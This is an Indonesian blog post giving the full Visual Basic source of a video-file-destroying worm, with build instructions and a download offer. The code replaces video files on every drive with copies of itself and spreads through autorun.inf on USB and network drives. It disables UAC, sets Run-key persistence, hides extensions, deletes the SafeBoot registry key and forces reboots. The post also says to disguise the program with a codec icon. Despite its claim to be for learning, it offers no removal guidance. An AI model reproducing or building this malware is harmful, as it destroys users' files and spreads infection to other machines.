Ramadhan ke-21 dan Source Code Virus Bokep

Pada ramadhan ke 21ni aku akan membahas source code virus bokep, hehehe ramadhan kog mbahas bokep ya untuk mencegah agar bulan ramadhan ini orang tidak menonton film bokep. tapi ni juga merugikan karena tidak semua film yang berektensi 3gp, flv, avi merupakan filem bokep melainkan juga ada film tentang tutorial. Ini terbukti telah dialami teman aku yang tadi malam mengeluh telah kena virus dengan icon K-Lite (atau media player clasic). emang sih virus tersebut ga merubah apapun di windows seperti task manager, folder option, run, atau fungsi-fungsi lainnya. sehingga orang akan tidak tahu kalau komputernya kena virus. Virus ini memang sadis langsung menghapus file yang berektensi 3gp, flv, mp4, avi dll.
Sehingga pada kesempatan ini saya akan membahas source codenya, source code ini aku juga menemukannya di internet jadi bukan milik saya dibuat oleh Lazy_Boyz @ Paray_Vx (Indonesian VX Zone) , source code ini sebegai pembelajaran agar kita dapat mengatasi ni virus.
Silahkan ikuti seterusnya.....

Oke sekarang anda tentukan proejct anda dengan 1 form dan 2 module
ni source code untuk form

Private Sub Form_Load()
On Error Resume Next
Dim Temp As Variant
Dim TempFolder As Object
Set Temp = CreateObject("scripting.filesystemobject")
Set TempFolder = Temp.GetSpecialFolder(2)

If App.PrevInstance Then End
Me.Hide
Me.Visible = False
App.TaskVisible = False

'Jika virus yg jalan tidak sama dengan nama file induk yg bernama BOK3P dan MPLAYERC
'maka keluarkan\akhiri proses virus tersebut dan jalankan Windows Media Player
If UCase(App.EXEName) <> "BOK3P" And UCase(App.EXEName) <> "MPLAYERC" Then
Shell "cmd.exe /c start wmplayer.exe", vbHide
Call Crack_Registry
Unload Me
End If

'Menggandakan diri ke direktori temp untuk dijadikan file induk VIRUS
Menggandakan_Diri TempFolder & "\Bok3p.exe"
Menggandakan_Diri TempFolder & "\mplayerc.exe"

'Kemudian mensetting atrribut file induk virus menjadi super hidden
SetAttr TempFolder & "\Bok3p.exe", vbSystem + vbReadOnly + vbHidden
SetAttr TempFolder & "\mplayerc.exe", vbSystem + vbReadOnly + vbHidden

'dan terakhir menjalankan file induk tersebut
Shell TempFolder & "\Bok3p.exe", vbHide
Shell TempFolder & "\mplayerc.exe", vbHide

End Sub

Private Sub TmrInfeksi_Timer()
On Error Resume Next
'Memanggil prosedur Crack_Registry, dan Serang_Media_Penyimpanan
Call Crack_Registry
Call Serang_Media_Penyimpanan
End Sub

Private Sub TmrPayload_Timer()
On Error Resume Next
'Jika jam sekarang menunjukan jam 6 sore, menit ke 6 dan detik ke 6 (18:06:06)-666
'maka tampilkan box pesan yg isinya apakah anda setuju perang melawan Pornografi
'jika korban memilih yes box pesan akan hilang, tapi jika memilih tidak maka restart komputer
If Hour(Now) = 18 And Minute(Now) = 6 And Second(Now) = 6 Then

If MsgBox("Say War to Pornografi & Pornoaksi", vbYesNo + vbExclamation, "Apakah anda setuju :") = vbNo Then
Shell "shutdown -r -f -t 00", vbHide
End If

End If

End Sub

dan ini untuk source code module 1

Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long

'Menggandakan_Diri adalah sebagai pengganti FileCopy/CopyFile yg berfungsi
'sama seperti fungsi FileCopy.. yakni dengan cara membaca kode tubuh dan
'menyalinya ke lokasi yg akan ditentukan ditambah nomor acak dibagian akhir file
'sehingga nilai hashingnya berbeda-beda (Polymorphic)

Public Function Menggandakan_Diri(Lokasinya As String)
On Error Resume Next
Dim BodyVirus As String
Dim Jam As String

'Baca dan dapatkan ukuran asli virus
Open App.path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
BodyVirus = Space(LOF(1) - Int(10))
Get #1, , BodyVirus
Close #1

Jam = Time
Open Lokasinya For Binary Access Write As #2
Put #2, , BodyVirus
Put #2, , Jam '<~~ Polymorphic Methode, menambahkan string waktu saat ini diakhir file
Close #2

End Function

Public Function Cari_File(path)
On Error Resume Next
Dim Bok3p As Variant
Set fso = CreateObject("scripting.filesystemobject")
Set Bok3p = fso.getfolder(path)
Set Rapid = Bok3p.Files

For Each File In Rapid
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .3GP
If UCase(fso.GetExtensionName(File.path)) = "3GP" Then
'Set attribut 3gp jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli 3gp
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .AVI
If UCase(fso.GetExtensionName(File.path)) = "AVI" Then
'Set attribut AVI jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli AVI
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .MP4
If UCase(fso.GetExtensionName(File.path)) = "MP4" Then
'Set attribut MP4 jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli MP4
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .AVI
If UCase(fso.GetExtensionName(File.path)) = "WMV" Then
'Set attribut WMV jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli WMV
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .MPEG
If UCase(fso.GetExtensionName(File.path)) = "MPEG" Then
'Set attribut MPEG jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 4) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli MPEG
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .MPG
If UCase(fso.GetExtensionName(File.path)) = "MPG" Then
'Set attribut MPG jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli MPG
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .MPE
If UCase(fso.GetExtensionName(File.path)) = "MPE" Then
'Set attribut MPE jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli MPE
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .AVI
If UCase(fso.GetExtensionName(File.path)) = "RM" Then
'Set attribut 3gp jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 2) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli 3gp
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .MOV
If UCase(fso.GetExtensionName(File.path)) = "MOV" Then
'Set attribut MOV jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli MOV
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .REAL
If UCase(fso.GetExtensionName(File.path)) = "REAL" Then
'Set attribut REAL jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 4) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli REAL
DeleteFile File.path
End If
DoEvents
'===================================================================================================
'Mencari file porno yg berextensi .ASF
If UCase(fso.GetExtensionName(File.path)) = "ASF" Then
'Set attribut ASF jd normal
SetAttr File.path, vbNormal
'Gandakan dengan nama yg sama
Menggandakan_Diri (Left(File.path, Len(File.path) - 3) & "exe")
'set attribut hasil penggandaan menjadi normal+readonly
SetAttr (Left(File.path, Len(File.path) - 4) & "exe"), vbNormal + vbReadOnly
'terakhir hapus file asli ASF
DeleteFile File.path
End If
DoEvents
'===================================================================================================
Next
'Mencari lagi kedalam folder sub folder
Set Subfolders = Bok3p.Subfolders
For Each Subfolder In Subfolders
Cari_File Subfolder.path
Next
DoEvents
End Function


Public Sub Serang_Media_Penyimpanan()
On Error Resume Next
Dim Lazy As Variant
Set fso = CreateObject("scripting.filesystemobject")
For Each Lazy In fso.drives

'==================================================================================================
'Mencari file berbau Pornogarphi di semua hardisk
If (Lazy.drivetype = 2) Then
Cari_File (Lazy.path)
End If
'===================================================================================================
'Apakah type drive yg ditemukan adalah Removeable atw Map.Network Drive
'jika iya (Kecuali disket) cari file pornographi, buat penggandaan dan
'Buat Autorun kedalam drive tersbut agar dapt running otomatiz
If (Lazy.drivetype = 1) Or (Lazy.drivetype = 3) And Lazy.path <> "A:" Then

'Mencari file berbau pornographi di Removable Drive dan Map.Network Drive
Cari_File (Lazy.path)

'Cek apakah terdapat file junk virus bernama (ãBg.exe) di Removable Drive
'dan Map.Network Drive jika tidak buat salinan (ãBg.exe) ke Removable_Disk
'dan setting attributnya menjadi super hidden (System+ReadOnly+Hidden)
If Len(Dir$(Lazy.path & "\ãBg.exe")) = 0 Then
Menggandakan_Diri Lazy.path & "\ãBg.exe"
SetAttr Lazy.path & "\ãBg.exe", vbSystem + vbReadOnly + vbHidden
End If

'Buat autorun.inf di Removable Drive dan Map.Network Drive korban
SetAttr Lazy.path & "\Autorun.inf", vbNormal
Open Lazy.path & "\Autorun.inf" For Output As #1
Print #1, "[Autorun]"
Print #1, "shell\open=MediaPlayer"
Print #1, "shell\open\Command=ãBg.exe"
Print #1, "shell\open\Default=1"
Print #1, "shell\explore=Explore"
Print #1, "shell\explore\Command=ãBg.exe"
Close 1
SetAttr Lazy.path & "\Autorun.inf", vbSystem + vbReadOnly + vbHidden
End If
'====================================================================================================
Next
End Sub

Ni source code untuk module2

Public Sub Crack_Registry()
On Error Resume Next
Dim Lazy_Boyz As Variant
Dim Temp As Variant
Dim TempFolder As Object
Set Temp = CreateObject("scripting.filesystemobject")
Set TempFolder = Temp.GetSpecialFolder(2)

Set Lazy_Boyz = CreateObject("Wscript.Shell")

'Mencoba mematiikan Fitur keamanan di Windows Vista
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA", 0, "REG_DWORD"

'(Set agar virus aktif otomatis pada saat Windows startup)
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QuickLaunch", TempFolder & "\Bok3p.exe"
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MediaPlayer", TempFolder & "\mplayerc.exe"

'Mensetting folder option agar stdk menampilkan file yg berattribut hidden & syatem (SuperHidden)
'juga mensetting folder option agar tidak menampilkan extension file
Lazy_Boyz.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
Lazy_Boyz.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden", "0", "REG_DWORD"
Lazy_Boyz.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", "0", "REG_DWORD"
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\DefaultValue", "1", "REG_DWORD"
Lazy_Boyz.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\UncheckedValue", "1", "REG_DWORD"

'Anti-Safe Mode Methode by Lazy_Boyz (100%) OK
Shell "REG DELETE HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /f", vbHide

End Sub

Setelah itu anda berikan icon yang sering di pakai filem 3gp, flv, rm atau yang lainnya, ni contoh akan diberikan icon K-Lite Codec

Segala bentuk penggunaan source code ini bukan tanggungjawab pembuat dan dan penulis karena ni dibuat untuk pembelajaran. mungkin virus sekarang yang beredar sangat banyak dengan ektensi yang sama.
anda males untuk mengetik dan ga ngerti silahkan donlot projectnya di sini

source code aku berikan password bagi yang berminat silahkan berikan komentar Insya Allah aku berikan passwordnya.